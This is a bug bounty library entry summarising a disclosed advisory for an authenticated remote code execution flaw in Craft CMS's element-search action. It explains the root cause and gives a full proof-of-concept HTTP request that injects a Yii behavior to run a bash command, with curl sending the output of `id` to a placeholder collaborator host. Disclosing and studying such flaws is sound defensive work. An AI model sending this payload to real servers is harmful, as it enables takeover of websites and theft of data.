# Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior

Authenticated users can inject Yii behavior config via the condition fieldLayouts in element-search, achieving command execution as the web user.

- Payout: Research
- Severity: high
- Program: Craft CMS
- Found by: precicom-vincent-tl
- Disclosed: 2026-05-06
- CVE: CVE-2026-44011
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-qrgm-p9w5-rrfw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qrgm-p9w5-rrfw
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:php technique:chained technique:incomplete-fix technique:source-review vuln:deserialization vuln:rce

**Target:** Yii object configuration / FieldLayout hydration in element-search action
**Root cause:** Request-controlled condition fieldLayouts are hydrated into a live FieldLayout object without Component::cleanseConfig(); Craft configures models before parent::__construct(), so attacker-controlled special config keys (__class, __construct(), on *) take effect during object creation.
**Steps:**
1. Authenticate as any user and obtain session + CSRF token.
2. POST to `/admin/actions/element-search/search` with JSON body setting `condition.class` to `craft\elements\conditions\ElementCondition`.
3. Inside `condition.fieldLayouts`, supply a key whose value has `__class: yii\behaviors\AttributeTypecastBehavior` and `__construct()` with `attributeTypes.typecastBeforeSave` = [`Psy\Readline\Hoa\ConsoleProcessus`, `execute`] and `typecastBeforeSave` = `/bin/bash -c "curl https://collaborator/`id`"`.
4. Add `on *: self::beforeSave` to trigger the behavior on the same-request event fired during FieldLayout initialization.
5. Observe outbound curl to collaborator with `id` output appended to path.
**How found:** Follow-up on GHSA-255j-qw47-wjh5: researchers looked for other paths reaching Yii dynamic object configuration that lacked the cleanseConfig() boundary, landing on the condition/fieldLayouts hydration path and the pre-constructor model configuration ordering.
**Exploitation:** Any authenticated user sends the crafted JSON to element-search (or other element-indexes actions passing the same beforeAction path); FieldLayout initialization fires a same-request event that invokes the injected AttributeTypecastBehavior, which calls ConsoleProcessus::execute with the attacker's shell command, running as the web user and exfiltrating `id` output via curl.
**Escalation:** Same payload applies to other element-indexes actions routed through the shared beforeAction() path, widening reach beyond element-search.
**Insight:** When a prior behavior-injection fix added cleanseConfig() at one sink, hunt sibling hydration paths (condition/fieldLayouts, element-indexes actions) that build objects from request JSON; the pre-parent::__construct() config ordering means `__class`/`__construct()`/`on *` keys still land before any sanitization.

## Proof of concept (copied exactly from the original report)

**POST request with malicious behavior config for RCE**

```
POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json

{

  "elementType": "craft\\elements\\Category",
  "siteId": 1,
  "search": "",
  "condition": {
    "class": "craft\\elements\\conditions\\ElementCondition",
    "elementType": "craft\\elements\\Category",
    "fieldLayouts": [
      {
        "as rce": {
          "__class": "yii\\behaviors\\AttributeTypecastBehavior",
          "__construct()": [
            {
              "attributeTypes": {
                "typecastBeforeSave": [
                  "Psy\\Readline\\Hoa\\ConsoleProcessus",
                  "execute"
                ]
              },
              "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
            }
          ]
        },
        "on *": "self::beforeSave"
      }
    ]
  }
}
```

